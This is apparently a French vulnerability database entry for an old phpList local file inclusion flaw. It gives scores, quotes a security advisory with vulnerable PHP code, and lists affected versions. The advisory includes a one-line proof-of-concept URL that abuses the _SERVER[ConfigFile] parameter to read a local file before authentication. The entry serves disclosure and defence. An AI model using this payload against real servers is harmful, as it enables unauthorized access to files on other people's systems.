Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 7778
Date de publication : 2009-01-13 23h00 +00:00
Auteur : BugReport.IR
EDB Vérifié : Yes
########################## www.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################
####################
- Description:
####################
Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."
####################
- Vulnerability:
####################
+--> Local File Inclusion
Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.
Code Snippet:
/lists/admin.php #line:10-18
if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
# fix register globals, for now, should be phased out gradually
# sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
# should be off, but going through three years of code takes a long time....
foreach ($_REQUEST as $key => $val) {
$$key = $val;
}
}
/lists/admin.php #line:41-56
if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
print '<!-- using '.$cline["c"].' -->'."\n";
include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
# print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
print '<!-- using ../config/config.php -->'."\n";
include "../config/config.php";
} else {
print "Error, cannot find config file\n";
exit;
}
####################
- POC:
####################
http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess
####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
# milw0rm.com [2009-01-14]
Products Mentioned
Configuraton 0
Tincan>>Phplist >> Version To (including) 2.10.8
Tincan>>Phplist >> Version 1.0
Tincan>>Phplist >> Version 1.0.1
Tincan>>Phplist >> Version 1.1.2b
Tincan>>Phplist >> Version 1.1.3b
Tincan>>Phplist >> Version 1.1.4b
Tincan>>Phplist >> Version 1.1.5
Tincan>>Phplist >> Version 1.1.5b
Tincan>>Phplist >> Version 1.1.6
Tincan>>Phplist >> Version 1.1.7
Tincan>>Phplist >> Version 1.3.5
Tincan>>Phplist >> Version 1.3.7
Tincan>>Phplist >> Version 1.4.1
Tincan>>Phplist >> Version 1.5.0
Tincan>>Phplist >> Version 1.5.1
Tincan>>Phplist >> Version 1.6.0
Tincan>>Phplist >> Version 1.6.1
Tincan>>Phplist >> Version 1.6.3
Tincan>>Phplist >> Version 1.6.4
Tincan>>Phplist >> Version 1.7.0
Tincan>>Phplist >> Version 1.7.1
Tincan>>Phplist >> Version 1.8.0
Tincan>>Phplist >> Version 1.9.0
Tincan>>Phplist >> Version 1.9.1
Tincan>>Phplist >> Version 1.9.2
Tincan>>Phplist >> Version 1.9.3
Tincan>>Phplist >> Version 2.1.0
Tincan>>Phplist >> Version 2.1.1
Tincan>>Phplist >> Version 2.1.3
Tincan>>Phplist >> Version 2.1.4
Tincan>>Phplist >> Version 2.2.0
Tincan>>Phplist >> Version 2.2.1
Tincan>>Phplist >> Version 2.3.0
Tincan>>Phplist >> Version 2.3.1
Tincan>>Phplist >> Version 2.3.2
Tincan>>Phplist >> Version 2.3.3
Tincan>>Phplist >> Version 2.3.4
Tincan>>Phplist >> Version 2.4.0
Tincan>>Phplist >> Version 2.4.7
Tincan>>Phplist >> Version 2.5.0
Tincan>>Phplist >> Version 2.5.1
Tincan>>Phplist >> Version 2.5.2
Tincan>>Phplist >> Version 2.5.3
Tincan>>Phplist >> Version 2.5.4
Tincan>>Phplist >> Version 2.5.5
Tincan>>Phplist >> Version 2.5.6
Tincan>>Phplist >> Version 2.5.7
Tincan>>Phplist >> Version 2.5.8
Tincan>>Phplist >> Version 2.6
Tincan>>Phplist >> Version 2.6.0
Tincan>>Phplist >> Version 2.6.1
Tincan>>Phplist >> Version 2.6.2
Tincan>>Phplist >> Version 2.6.3
Tincan>>Phplist >> Version 2.6.4
Tincan>>Phplist >> Version 2.6.5
Tincan>>Phplist >> Version 2.7.1
Tincan>>Phplist >> Version 2.7.2
Tincan>>Phplist >> Version 2.8.2
Tincan>>Phplist >> Version 2.8.7
Tincan>>Phplist >> Version 2.8.12
Tincan>>Phplist >> Version 2.9.3
Tincan>>Phplist >> Version 2.9.4
Tincan>>Phplist >> Version 2.9.5
Tincan>>Phplist >> Version 2.10.1
Tincan>>Phplist >> Version 2.10.2
Tincan>>Phplist >> Version 2.10.3
Tincan>>Phplist >> Version 2.10.4
Tincan>>Phplist >> Version 2.10.5
Tincan>>Phplist >> Version 2.10.6
Tincan>>Phplist >> Version 2.10.7
Références